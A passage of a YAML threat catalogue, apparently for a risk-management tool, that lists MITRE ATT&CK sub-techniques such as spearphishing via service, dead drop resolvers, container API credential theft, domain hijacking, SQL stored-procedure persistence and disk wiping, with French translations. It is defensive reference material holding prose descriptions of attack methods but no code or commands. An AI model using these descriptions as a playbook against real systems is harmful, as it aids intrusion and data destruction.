          \ via des services tiers pour tenter d\u2019acc\xE9der aux syst\xE8mes des\
          \ victimes. Le spearphishing via le service est une variante sp\xE9cifique\
          \ du spearphishing. Il se distingue des autres formes de spearphishing par\
          \ le fait qu\u2019il utilise des services tiers plut\xF4t que directement\
          \ via les canaux de messagerie de l\u2019entreprise. \n\nToutes les formes\
          \ de spearphishing sont des actions d\u2019ing\xE9nierie sociale transmises\
          \ par voie \xE9lectronique et ciblent une personne, une entreprise ou un\
          \ secteur d\u2019activit\xE9 sp\xE9cifique. Dans ce sc\xE9nario, les adversaires\
          \ envoient des messages par le biais de divers services de m\xE9dias sociaux,\
          \ de messagerie Web personnelle et d\u2019autres services non contr\xF4\
          l\xE9s par l\u2019entreprise. (Citation : Lookout Dark Caracal janvier 2018)\
          \ Ces services sont plus susceptibles d\u2019avoir une politique de s\xE9\
          curit\xE9 moins stricte qu\u2019une entreprise. Comme pour la plupart des\
          \ types de spearphishing, l\u2019objectif est de g\xE9n\xE9rer un rapport\
          \ avec la cible ou d\u2019obtenir son int\xE9r\xEAt d\u2019une mani\xE8\
          re ou d\u2019une autre. Les adversaires cr\xE9eront de faux comptes sur\
          \ les r\xE9seaux sociaux et enverront des messages aux employ\xE9s pour\
          \ leur proposer des opportunit\xE9s d\u2019emploi potentielles. Cela permet\
          \ d\u2019obtenir une raison plausible de poser des questions sur les services,\
          \ les politiques et les logiciels qui s\u2019ex\xE9cutent dans un environnement.\
          \ L\u2019adversaire peut ensuite envoyer des liens ou des pi\xE8ces jointes\
          \ malveillants via ces services.\n\nUn exemple courant est d\u2019\xE9tablir\
          \ une relation avec une cible via les m\xE9dias sociaux, puis d\u2019envoyer\
          \ du contenu \xE0 un service de messagerie Web personnel que la cible utilise\
          \ sur son ordinateur de travail. Cela permet \xE0 un adversaire de contourner\
          \ certaines restrictions d\u2019e-mail sur le compte professionnel, et la\
          \ cible est plus susceptible d\u2019ouvrir le fichier car c\u2019est quelque\
          \ chose qu\u2019elle attendait. Si la charge utile ne fonctionne pas comme\
          \ pr\xE9vu, l\u2019adversaire peut poursuivre les communications normales\
          \ et r\xE9soudre les probl\xE8mes avec la cible pour savoir comment la faire\
          \ fonctionner.\nhttps://attack.mitre.org/techniques/T1566/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1090.001
    ref_id: T1090.001
    name: Internal Proxy
    description: 'Adversaries may use an internal proxy to direct command and control
      traffic between two or more systems in a compromised environment. Many tools
      exist that enable traffic redirection through proxies or port redirection, including
      [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation:
      Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command
      and control communications inside a compromised environment, to reduce the number
      of simultaneous outbound network connections, to provide resiliency in the face
      of connection loss, or to ride over existing trusted communications paths between
      infected systems to avoid suspicion. Internal proxy connections may use common
      peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with
      the environment.


      By using a compromised internal system as a proxy, adversaries may conceal the
      true destination of C2 traffic while reducing the need for numerous connections
      to external systems.

      https://attack.mitre.org/techniques/T1090/001'
    translations:
      fr:
        name: Proxy interne
        description: "Les adversaires peuvent utiliser un proxy interne pour diriger\
          \ le trafic de commande et de contr\xF4le entre deux syst\xE8mes ou plus\
          \ dans un environnement compromis. Il existe de nombreux outils qui permettent\
          \ la redirection du trafic via des proxys ou la redirection de port, notamment\
          \ [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy et ZXPortMap.\
          \ (Citation : Outils d\u2019attaque APT de Trend Micro) Les adversaires\
          \ utilisent des proxys internes pour g\xE9rer les communications de commande\
          \ et de contr\xF4le dans un environnement compromis, pour r\xE9duire le\
          \ nombre de connexions r\xE9seau sortantes simultan\xE9es, pour assurer\
          \ la r\xE9silience en cas de perte de connexion ou pour contourner les chemins\
          \ de communication fiables existants entre les syst\xE8mes infect\xE9s afin\
          \ d\u2019\xE9viter les soup\xE7ons. Les connexions proxy internes peuvent\
          \ utiliser des protocoles de mise en r\xE9seau peer-to-peer (p2p) courants,\
          \ tels que SMB, pour mieux s\u2019int\xE9grer \xE0 l\u2019environnement.\n\
          \nEn utilisant un syst\xE8me interne compromis comme proxy, les adversaires\
          \ peuvent dissimuler la v\xE9ritable destination du trafic C2 tout en r\xE9\
          duisant le besoin de nombreuses connexions \xE0 des syst\xE8mes externes.\n\
          https://attack.mitre.org/techniques/T1090/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1216
    ref_id: T1216
    name: System Script Proxy Execution
    description: 'Adversaries may use trusted scripts, often signed with certificates,
      to proxy the execution of malicious files. Several Microsoft signed scripts
      that have been downloaded from Microsoft or are default on Windows installations
      can be used to proxy execution of other files.(Citation: LOLBAS Project) This
      behavior may be abused by adversaries to execute malicious files that could
      bypass application control and signature validation on systems.(Citation: GitHub
      Ultimate AppLocker Bypass List)

      https://attack.mitre.org/techniques/T1216'
    translations:
      fr:
        name: "Ex\xE9cution du proxy de script syst\xE8me"
        description: "Les adversaires peuvent utiliser des scripts de confiance, souvent\
          \ sign\xE9s avec des certificats, pour proxy l\u2019ex\xE9cution de fichiers\
          \ malveillants. Plusieurs scripts sign\xE9s par Microsoft qui ont \xE9t\xE9\
          \ t\xE9l\xE9charg\xE9s \xE0 partir de Microsoft ou qui sont par d\xE9faut\
          \ sur les installations Windows peuvent \xEAtre utilis\xE9s pour l\u2019\
          ex\xE9cution proxy d\u2019autres fichiers. (Citation : Projet LOLBAS) Ce\
          \ comportement peut \xEAtre exploit\xE9 par des adversaires pour ex\xE9\
          cuter des fichiers malveillants susceptibles de contourner le contr\xF4\
          le des applications et la validation des signatures sur les syst\xE8mes.\
          \ (Citation : GitHub Ultimate AppLocker Bypass List)\nhttps://attack.mitre.org/techniques/T1216"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1102.001
    ref_id: T1102.001
    name: Dead Drop Resolver
    description: 'Adversaries may use an existing, legitimate external Web service
      to host information that points to additional command and control (C2) infrastructure.
      Adversaries may post content, known as a dead drop resolver, on Web services
      with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected,
      victims will reach out to and be redirected by these resolvers.


      Popular websites and social media acting as a mechanism for C2 may give a significant
      amount of cover due to the likelihood that hosts within a network are already
      communicating with them prior to a compromise. Using common services, such as
      those offered by Google or Twitter, makes it easier for adversaries to hide
      in expected noise. Web service providers commonly use SSL/TLS encryption, giving
      adversaries an added level of protection.


      Use of a dead drop resolver may also protect back-end C2 infrastructure from
      discovery through malware binary analysis while also enabling operational resiliency
      (since this infrastructure may be dynamically changed).

      https://attack.mitre.org/techniques/T1102/001'
    translations:
      fr:
        name: "R\xE9solveur Dead Drop"
        description: "Les adversaires peuvent utiliser un service Web externe l\xE9\
          gitime existant pour h\xE9berger des informations qui pointent vers une\
          \ infrastructure de commande et de contr\xF4le (C2) suppl\xE9mentaire. Les\
          \ adversaires peuvent publier du contenu, connu sous le nom de r\xE9solveur\
          \ de dead drop, sur des services Web avec des domaines ou des adresses IP\
          \ int\xE9gr\xE9s (et souvent obfusqu\xE9s/encod\xE9s). Une fois infect\xE9\
          es, les victimes se dirigent vers ces r\xE9solveurs et sont redirig\xE9\
          es par eux.\n\nLes sites Web populaires et les m\xE9dias sociaux agissant\
          \ comme un m\xE9canisme pour C2 peuvent offrir une couverture importante\
          \ en raison de la probabilit\xE9 que les h\xF4tes d\u2019un r\xE9seau communiquent\
          \ d\xE9j\xE0 avec eux avant une compromission. L\u2019utilisation de services\
          \ courants, tels que ceux propos\xE9s par Google ou Twitter, permet aux\
          \ adversaires de se cacher plus facilement dans le bruit attendu. Les fournisseurs\
          \ de services Web utilisent g\xE9n\xE9ralement le cryptage SSL/TLS, ce qui\
          \ offre aux adversaires un niveau de protection suppl\xE9mentaire.\n\nL\u2019\
          utilisation d\u2019un r\xE9solveur Dead Drop peut \xE9galement prot\xE9\
          ger l\u2019infrastructure C2 back-end contre la d\xE9couverte par l\u2019\
          analyse binaire des logiciels malveillants, tout en permettant une r\xE9\
          silience op\xE9rationnelle (puisque cette infrastructure peut \xEAtre modifi\xE9\
          e dynamiquement).\nhttps://attack.mitre.org/techniques/T1102/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1001.001
    ref_id: T1001.001
    name: Junk Data
    description: 'Adversaries may add junk data to protocols used for command and
      control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor
      December 2020) By adding random or meaningless data to the protocols used for
      command and control, adversaries can prevent trivial methods for decoding, deciphering,
      or otherwise analyzing the traffic. Examples may include appending/prepending
      data with junk characters or writing junk characters between significant characters.

      https://attack.mitre.org/techniques/T1001/001'
    translations:
      fr:
        name: "Donn\xE9es ind\xE9sirables"
        description: "Les adversaires peuvent ajouter des donn\xE9es inutiles aux\
          \ protocoles utilis\xE9s pour la commande et le contr\xF4le afin de rendre\
          \ la d\xE9tection plus difficile. (Citation : FireEye SUNBURST Backdoor\
          \ D\xE9cembre 2020) En ajoutant des donn\xE9es al\xE9atoires ou d\xE9nu\xE9\
          es de sens aux protocoles utilis\xE9s pour la commande et le contr\xF4le,\
          \ les adversaires peuvent emp\xEAcher les m\xE9thodes triviales de d\xE9\
          codage, de d\xE9chiffrage ou d\u2019analyse du trafic. Par exemple, l\u2019\
          ajout ou l\u2019ajout de caract\xE8res ind\xE9sirables ou l\u2019\xE9criture\
          \ de caract\xE8res ind\xE9sirables entre des caract\xE8res significatifs.\n\
          https://attack.mitre.org/techniques/T1001/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1598.001
    ref_id: T1598.001
    name: Spearphishing Service
    description: 'Adversaries may send spearphishing messages via third-party services
      to elicit sensitive information that can be used during targeting. Spearphishing
      for information is an attempt to trick targets into divulging information, frequently
      credentials or other actionable information. Spearphishing for information frequently
      involves social engineering techniques, such as posing as a source with a reason
      to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)
      or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or
      sending multiple, seemingly urgent messages.


      All forms of spearphishing are electronically delivered social engineering targeted
      at a specific individual, company, or industry. In this scenario, adversaries
      send messages through various social media services, personal webmail, and other
      non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing)
      These services are more likely to have a less-strict security policy than an
      enterprise. As with most kinds of spearphishing, the goal is to generate rapport
      with the target or get the target''s interest in some way. Adversaries may create
      fake social media accounts and message employees for potential job opportunities.
      Doing so allows a plausible reason for asking about services, policies, and
      information about their environment. Adversaries may also use information from
      previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001)
      or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594))
      to craft persuasive and believable lures.

      https://attack.mitre.org/techniques/T1598/001'
    translations:
      fr:
        name: Spearphishing Service
        description: "Les adversaires peuvent envoyer des messages de spearphishing\
          \ par l\u2019interm\xE9diaire de services tiers afin d\u2019obtenir des\
          \ informations sensibles qui peuvent \xEAtre utilis\xE9es lors du ciblage.\
          \ Le spearphishing pour obtenir des informations est une tentative d\u2019\
          inciter les cibles \xE0 divulguer des informations, souvent des informations\
          \ d\u2019identification ou d\u2019autres informations exploitables. Le spearphishing\
          \ pour obtenir des informations fait souvent appel \xE0 des techniques d\u2019\
          ing\xE9nierie sociale, telles que se faire passer pour une source ayant\
          \ une raison de collecter des informations (ex : [\xC9tablir des comptes](https://attack.mitre.org/techniques/T1585)\
          \ ou [Compromettre des comptes](https://attack.mitre.org/techniques/T1586))\
          \ et/ou envoyer plusieurs messages apparemment urgents.\n\nToutes les formes\
          \ de spearphishing sont des actions d\u2019ing\xE9nierie sociale transmises\
          \ par voie \xE9lectronique et ciblent une personne, une entreprise ou un\
          \ secteur d\u2019activit\xE9 sp\xE9cifique. Dans ce sc\xE9nario, les adversaires\
          \ envoient des messages par le biais de divers services de m\xE9dias sociaux,\
          \ de messagerie Web personnelle et d\u2019autres services non contr\xF4\
          l\xE9s par l\u2019entreprise. (Citation : Phishing sur les r\xE9seaux sociaux\
          \ ThreatPost) Ces services sont plus susceptibles d\u2019avoir une politique\
          \ de s\xE9curit\xE9 moins stricte qu\u2019une entreprise. Comme pour la\
          \ plupart des types de spearphishing, l\u2019objectif est de g\xE9n\xE9\
          rer un rapport avec la cible ou d\u2019obtenir son int\xE9r\xEAt d\u2019\
          une mani\xE8re ou d\u2019une autre. Les adversaires peuvent cr\xE9er de\
          \ faux comptes sur les r\xE9seaux sociaux et envoyer des messages aux employ\xE9\
          s pour leur proposer des opportunit\xE9s d\u2019emploi potentielles. Ce\
          \ faisant, il y a une raison plausible de poser des questions sur les services,\
          \ les politiques et les informations sur leur environnement. Les adversaires\
          \ peuvent \xE9galement utiliser des informations provenant d\u2019efforts\
          \ de reconnaissance ant\xE9rieurs (par exemple : [M\xE9dias sociaux](https://attack.mitre.org/techniques/T1593/001)\
          \ ou [Sites Web appartenant \xE0 des victimes de recherche](https://attack.mitre.org/techniques/T1594))\
          \ pour cr\xE9er des leurres convaincants et cr\xE9dibles.\nhttps://attack.mitre.org/techniques/T1598/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1552.007
    ref_id: T1552.007
    name: Container API
    description: 'Adversaries may gather credentials via APIs within a containers
      environment. APIs in these environments, such as the Docker API and Kubernetes
      APIs, allow a user to remotely manage their container resources and cluster
      components.(Citation: Docker API)(Citation: Kubernetes API)


      An adversary may access the Docker API to collect logs that contain credentials
      to cloud, container, and various other resources in the environment.(Citation:
      Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions,
      such as via a pod''s service account, may also use the Kubernetes API to retrieve
      credentials from the Kubernetes API server. These credentials may include those
      needed for Docker API authentication or secrets from Kubernetes cluster components.

      https://attack.mitre.org/techniques/T1552/007'
    translations:
      fr:
        name: API de conteneur
        description: "Les adversaires peuvent collecter des informations d\u2019identification\
          \ via des API dans un environnement de conteneurs. Les API de ces environnements,\
          \ telles que l\u2019API Docker et les API Kubernetes, permettent \xE0 un\
          \ utilisateur de g\xE9rer \xE0 distance ses ressources de conteneur et ses\
          \ composants de cluster. (Citation : API Docker)(Citation : API Kubernetes)\n\
          \nUn adversaire peut acc\xE9der \xE0 l\u2019API Docker pour collecter des\
          \ journaux contenant des informations d\u2019identification pour le cloud,\
          \ le conteneur et diverses autres ressources de l\u2019environnement. (Citation\
          \ : Unit\xE9 42 Daemons Docker non s\xE9curis\xE9s) Un adversaire disposant\
          \ d\u2019autorisations suffisantes, par exemple via le compte de service\
          \ d\u2019un pod, peut \xE9galement utiliser l\u2019API Kubernetes pour r\xE9\
          cup\xE9rer les informations d\u2019identification du serveur d\u2019API\
          \ Kubernetes. Ces informations d\u2019identification peuvent inclure celles\
          \ n\xE9cessaires \xE0 l\u2019authentification de l\u2019API Docker ou aux\
          \ secrets des composants du cluster Kubernetes.\nhttps://attack.mitre.org/techniques/T1552/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1584.001
    ref_id: T1584.001
    name: Domains
    description: 'Adversaries may hijack domains and/or subdomains that can be used
      during targeting. Domain registration hijacking is the act of changing the registration
      of a domain name without the permission of the original registrant.(Citation:
      ICANNDomainNameHijacking) Adversaries may gain access to an email account for
      the person listed as the owner of the domain. The adversary can then claim that
      they forgot their password in order to make changes to the domain registration.
      Other possibilities include social engineering a domain registration help desk
      to gain access to an account, taking advantage of renewal process gaps, or compromising
      a cloud service that enables managing domains (e.g., AWS Route53).(Citation:
      Krebs DNS Hijack 2019)


      Subdomain hijacking can occur when organizations have DNS entries that point
      to non-existent or deprovisioned resources. In such cases, an adversary may
      take control of a subdomain to conduct operations with the benefit of the trust
      associated with that domain.(Citation: Microsoft Sub Takeover 2020)


      Adversaries who compromise a domain may also engage in domain shadowing by creating
      malicious subdomains under their control while keeping any existing DNS records.
      As service will not be disrupted, the malicious subdomains may go unnoticed
      for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)

      https://attack.mitre.org/techniques/T1584/001'
    translations:
      fr:
        name: Domaines
        description: "Les adversaires peuvent d\xE9tourner des domaines et/ou des\
          \ sous-domaines qui peuvent \xEAtre utilis\xE9s lors du ciblage. Le d\xE9\
          tournement d\u2019enregistrement de domaine est l\u2019acte de modifier\
          \ l\u2019enregistrement d\u2019un nom de domaine sans l\u2019autorisation\
          \ du titulaire d\u2019origine. (Citation : ICANNDomainNameHijacking) Les\
          \ adversaires peuvent acc\xE9der au compte de messagerie de la personne\
          \ r\xE9pertori\xE9e comme propri\xE9taire du domaine. L\u2019adversaire\
          \ peut alors pr\xE9tendre qu\u2019il a oubli\xE9 son mot de passe afin d\u2019\
          apporter des modifications \xE0 l\u2019enregistrement du domaine. D\u2019\
          autres possibilit\xE9s incluent l\u2019ing\xE9nierie sociale d\u2019un service\
          \ d\u2019assistance \xE0 l\u2019enregistrement de domaine pour acc\xE9der\
          \ \xE0 un compte, tirer parti des lacunes du processus de renouvellement\
          \ ou compromettre un service cloud qui permet de g\xE9rer des domaines (par\
          \ exemple, AWS Route53). (Citation : Krebs DNS Hijack 2019)\n\nLe d\xE9\
          tournement de sous-domaine peut se produire lorsque les organisations ont\
          \ des entr\xE9es DNS qui pointent vers des ressources inexistantes ou d\xE9\
          provisionn\xE9es. Dans de tels cas, un adversaire peut prendre le contr\xF4\
          le d\u2019un sous-domaine pour mener des op\xE9rations au profit de la confiance\
          \ associ\xE9e \xE0 ce domaine. (Citation : Microsoft Sub Takeover 2020)\n\
          \nLes adversaires qui compromettent un domaine peuvent \xE9galement se livrer\
          \ \xE0 l\u2019observation de domaine en cr\xE9ant des sous-domaines malveillants\
          \ sous leur contr\xF4le tout en conservant les enregistrements DNS existants.\
          \ Comme le service ne sera pas interrompu, les sous-domaines malveillants\
          \ peuvent passer inaper\xE7us pendant de longues p\xE9riodes. (Citation\
          \ : Palo Alto Unit 42 Domain Shadowing 2022)\nhttps://attack.mitre.org/techniques/T1584/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1505.001
    ref_id: T1505.001
    name: SQL Stored Procedures
    description: "Adversaries may abuse SQL stored procedures to establish persistent\
      \ access to systems. SQL Stored Procedures are code that can be saved and reused\
      \ so that database users do not waste time rewriting frequently used SQL queries.\
      \ Stored procedures can be invoked via SQL statements to the database using\
      \ the procedure name or via defined events (e.g. when a SQL server application\
      \ is started/restarted).\n\nAdversaries may craft malicious stored procedures\
      \ that can provide a persistence mechanism in SQL database servers.(Citation:\
      \ NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute\
      \ operating system commands through SQL syntax the adversary may have to enable\
      \ additional functionality, such as xp_cmdshell for MSSQL Server.(Citation:\
      \ NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation:\
      \ Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language\
      \ runtime (CLR) integration. With CLR integration enabled, application developers\
      \ can write stored procedures using any .NET framework language (e.g. VB .NET,\
      \ C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft\
      \ or modify CLR assemblies that are linked to stored procedures since these\
      \ CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI\
      \ SQL Server CLR)\nhttps://attack.mitre.org/techniques/T1505/001"
    translations:
      fr:
        name: "Proc\xE9dures stock\xE9es SQL"
        description: "Les adversaires peuvent abuser des proc\xE9dures stock\xE9es\
          \ SQL pour \xE9tablir un acc\xE8s persistant aux syst\xE8mes. Les proc\xE9\
          dures stock\xE9es SQL sont du code qui peut \xEAtre enregistr\xE9 et r\xE9\
          utilis\xE9 afin que les utilisateurs de la base de donn\xE9es ne perdent\
          \ pas de temps \xE0 r\xE9\xE9crire les requ\xEAtes SQL fr\xE9quemment utilis\xE9\
          es. Les proc\xE9dures stock\xE9es peuvent \xEAtre appel\xE9es \xE0 la base\
          \ de donn\xE9es via des instructions SQL \xE0 l\u2019aide du nom de la proc\xE9\
          dure ou via des \xE9v\xE9nements d\xE9finis (par exemple, lors du d\xE9\
          marrage/red\xE9marrage d\u2019une application SQL Server).\n\nLes adversaires\
          \ peuvent cr\xE9er des proc\xE9dures stock\xE9es malveillantes qui peuvent\
          \ fournir un m\xE9canisme de persistance dans les serveurs de base de donn\xE9\
          es SQL. (Citation : Proc\xE9dures stock\xE9es de d\xE9marrage NetSPI)(Citation\
          \ : Kaspersky MSSQL ao\xFBt 2019) Pour ex\xE9cuter des commandes du syst\xE8\
          me d\u2019exploitation via la syntaxe SQL, l\u2019adversaire peut avoir\
          \ \xE0 activer des fonctionnalit\xE9s suppl\xE9mentaires, telles que xp_cmdshell\
          \ pour MSSQL Server. (Citation : Proc\xE9dures stock\xE9es de d\xE9marrage\
          \ NetSPI)(Citation : Kaspersky MSSQL ao\xFBt 2019)(Citation : Microsoft\
          \ xp_cmdshell 2017) \n\nMicrosoft SQL Server peut activer l\u2019int\xE9\
          gration du Common Language Runtime (CLR). Lorsque l\u2019int\xE9gration\
          \ CLR est activ\xE9e, les d\xE9veloppeurs d\u2019applications peuvent \xE9\
          crire des proc\xE9dures stock\xE9es \xE0 l\u2019aide de n\u2019importe quel\
          \ langage de framework .NET (e.g. VB .NET, C#, etc.). (Citation : Int\xE9\
          gration Microsoft CLR 2017) Les adversaires peuvent cr\xE9er ou modifier\
          \ des assemblys CLR li\xE9s \xE0 des proc\xE9dures stock\xE9es, car ces\
          \ assemblys CLR peuvent \xEAtre con\xE7us pour ex\xE9cuter des commandes\
          \ arbitraires. (R\xE9f\xE9rence : NetSPI SQL Server CLR)\nhttps://attack.mitre.org/techniques/T1505/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1556.004
    ref_id: T1556.004
    name: Network Device Authentication
    description: 'Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001)
      to hard code a password in the operating system, thus bypassing of native authentication
      mechanisms for local accounts on network devices.


      [Modify System Image](https://attack.mitre.org/techniques/T1601) may include
      implanted code to the operating system for network devices to provide access
      for adversaries using a specific password.  The modification includes a specific
      password which is implanted in the operating system image via the patch.  Upon
      authentication attempts, the inserted code will first check to see if the user
      input is the password. If so, access is granted. Otherwise, the implanted code
      will pass the credentials on for verification of potentially valid credentials.(Citation:
      Mandiant - Synful Knock)

      https://attack.mitre.org/techniques/T1556/004'
    translations:
      fr:
        name: "Authentification des p\xE9riph\xE9riques r\xE9seau"
        description: "Les adversaires peuvent utiliser [Patch System Image](https://attack.mitre.org/techniques/T1601/001)\
          \ pour coder en dur un mot de passe dans le syst\xE8me d\u2019exploitation,\
          \ contournant ainsi les m\xE9canismes d\u2019authentification natifs pour\
          \ les comptes locaux sur les p\xE9riph\xE9riques r\xE9seau.\n\n[Modifier\
          \ l\u2019image syst\xE8me](https://attack.mitre.org/techniques/T1601) peut\
          \ inclure un code implant\xE9 dans le syst\xE8me d\u2019exploitation pour\
          \ les p\xE9riph\xE9riques r\xE9seau afin de fournir un acc\xE8s aux adversaires\
          \ \xE0 l\u2019aide d\u2019un mot de passe sp\xE9cifique.  La modification\
          \ inclut un mot de passe sp\xE9cifique qui est implant\xE9 dans l\u2019\
          image du syst\xE8me d\u2019exploitation via le patch.  Lors des tentatives\
          \ d\u2019authentification, le code ins\xE9r\xE9 v\xE9rifie d\u2019abord\
          \ si l\u2019entr\xE9e de l\u2019utilisateur est le mot de passe. Dans l\u2019\
          affirmative, l\u2019acc\xE8s est accord\xE9. Sinon, le code implant\xE9\
          \ transmettra les informations d\u2019identification pour la v\xE9rification\
          \ des informations d\u2019identification potentiellement valides. (Citation\
          \ : Mandiant - Synful Knock)\nhttps://attack.mitre.org/techniques/T1556/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1561.001
    ref_id: T1561.001
    name: Disk Content Wipe
    description: 'Adversaries may erase the contents of storage devices on specific
      systems or in large numbers in a network to interrupt availability to system
      and network resources.


      Adversaries may partially or completely overwrite the contents of a storage
      device rendering the data irrecoverable through the storage interface.(Citation:
      Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation:
      DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files,
      adversaries with destructive intent may wipe arbitrary portions of disk content.
      To wipe disk content, adversaries may acquire direct access to the hard drive
      in order to overwrite arbitrarily sized portions of disk with random data.(Citation:
      Novetta Blockbuster Destructive Malware) Adversaries have also been observed
      leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364)
      to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta
      Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485)
      because sections of the disk are erased instead of individual files.


      To maximize impact on the target organization in operations where network-wide
      availability interruption is the goal, malware used for wiping disk content
      may have worm-like features to propagate across a network by leveraging additional
      techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),
      [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows
      Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta
      Blockbuster Destructive Malware)

      https://attack.mitre.org/techniques/T1561/001'
    translations:
      fr:
        name: Effacement du contenu du disque
        description: "Les adversaires peuvent effacer le contenu des p\xE9riph\xE9\
          riques de stockage sur des syst\xE8mes sp\xE9cifiques ou en grand nombre\
          \ dans un r\xE9seau pour interrompre la disponibilit\xE9 des ressources\
          \ syst\xE8me et r\xE9seau.\n\nLes adversaires peuvent \xE9craser partiellement\
          \ ou compl\xE8tement le contenu d\u2019un p\xE9riph\xE9rique de stockage,\
          \ rendant les donn\xE9es irr\xE9cup\xE9rables via l\u2019interface de stockage.\
          \ (Citation : Novetta Blockbuster)(Citation : Logiciel malveillant destructeur\
          \ Novetta Blockbuster)(Citation : DOJ Lazarus Sony 2018) Au lieu d\u2019\
          effacer des structures de disque ou des fichiers sp\xE9cifiques, les adversaires\
          \ ayant des intentions destructrices peuvent effacer des parties arbitraires\
          \ du contenu du disque. Pour effacer le contenu du disque, les adversaires\
          \ peuvent acqu\xE9rir un acc\xE8s direct au disque dur afin d\u2019\xE9\
          craser des parties de disque de taille arbitraire avec des donn\xE9es al\xE9\
          atoires. (Citation : Logiciel malveillant destructeur Novetta Blockbuster)\
          \ Des adversaires ont \xE9galement \xE9t\xE9 observ\xE9s en train d\u2019\
          exploiter des pilotes tiers tels que [RawDisk](https://attack.mitre.org/software/S0364)\
          \ pour acc\xE9der directement au contenu du disque. (Citation : Novetta\
          \ Blockbuster)(Citation : Logiciel malveillant destructeur Novetta Blockbuster)\
          \ Ce comportement est distinct de [Destruction de donn\xE9es](https://attack.mitre.org/techniques/T1485)\
          \ car des sections du disque sont effac\xE9es au lieu de fichiers individuels.\n\
          \nPour maximiser l\u2019impact sur l\u2019organisation cible dans les op\xE9\
          rations o\xF9 l\u2019interruption de la disponibilit\xE9 \xE0 l\u2019\xE9\
          chelle du r\xE9seau est l\u2019objectif, les programmes malveillants utilis\xE9\
          s pour effacer le contenu du disque peuvent avoir des fonctionnalit\xE9\
          s similaires \xE0 celles d\u2019un ver pour se propager sur un r\xE9seau\
          \ en exploitant des techniques suppl\xE9mentaires telles que [Comptes valides](https://attack.mitre.org/techniques/T1078),\
          \ [Vidage des informations d\u2019identification du syst\xE8me d\u2019exploitation](https://attack.mitre.org/techniques/T1003)\
          \ et [Partages SMB/Windows Admin](https://attack.mitre.org/techniques/T1021/002).\
          \ (Citation : Logiciel malveillant destructeur Novetta Blockbuster)\nhttps://attack.mitre.org/techniques/T1561/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1213.005
    ref_id: T1213.005
    name: Messaging Applications
    description: "Adversaries may leverage chat and messaging applications, such as\
      \ Microsoft Teams, Google Chat, and Slack, to mine valuable information.  \n\
      \nThe following is a brief list of example information that may hold potential\
      \ value to an adversary and may also be found on messaging applications: \n\n\
      * Testing / development credentials (i.e., [Chat Messages](https://attack.mitre.org/techniques/T1552/008))\
      \ \n* Source code snippets \n* Links to network shares and other internal resources\
      \ \n* Proprietary data(Citation: Guardian Grand Theft Auto Leak 2022)\n* Discussions\
      \ about ongoing incident response efforts(Citation: SC Magazine Ragnar Locker\
      \ 2021)(Citation: Microsoft DEV-0537)\n\nIn addition to exfiltrating data from\
      \ messaging applications, adversaries may leverage data from chat messages in\
      \ order to improve their targeting - for example, by learning more about an\
      \ environment or evading ongoing incident response efforts.(Citation: Sentinel\
      \ Labs NullBulge 2024)(Citation: Permiso Scattered Spider 2023)\nhttps://attack.mitre.org/techniques/T1213/005"
    translations:
      fr:
        name: Applications de messagerie
        description: "Les adversaires peuvent exploiter des applications de chat et\
          \ de messagerie, telles que Microsoft Teams, Google Chat et Slack, pour\
          \ extraire des informations pr\xE9cieuses.  \n\nVoici une br\xE8ve liste\
          \ d\u2019exemples d\u2019informations susceptibles d\u2019\xEAtre utiles\
          \ \xE0 un adversaire et qui peuvent \xE9galement \xEAtre trouv\xE9es sur\
          \ des applications de messagerie : \n\n* R\xE9f\xE9rences de test/d\xE9\
          veloppement (c\u2019est-\xE0-dire, [Messages de chat](https://attack.mitre.org/techniques/T1552/008))\
          \ \n* Extraits de code source \n* Liens vers des partages de r\xE9seau et\
          \ d\u2019autres ressources internes \n* Donn\xE9es exclusives(Citation\_\
          : Guardian Grand Theft Auto Leak 2022)\n* Discussions sur les efforts de\
          \ r\xE9ponse aux incidents en cours(Citation\_: SC Magazine Ragnar Locker\
          \ 2021)(Citation\_: Microsoft DEV-0537)\n\nEn plus d\u2019exfiltrer les\
          \ donn\xE9es des applications de messagerie, les adversaires peuvent exploiter\
          \ les donn\xE9es des messages de chat afin d\u2019am\xE9liorer leur ciblage,\
          \ par exemple en en apprenant davantage sur un environnement ou en \xE9\
          vitant les efforts de r\xE9ponse aux incidents en cours. (Citation : Sentinel\
          \ Labs NullBulge 2024)(Citation : Permiso Scatter Spider 2023)\nhttps://attack.mitre.org/techniques/T1213/005"
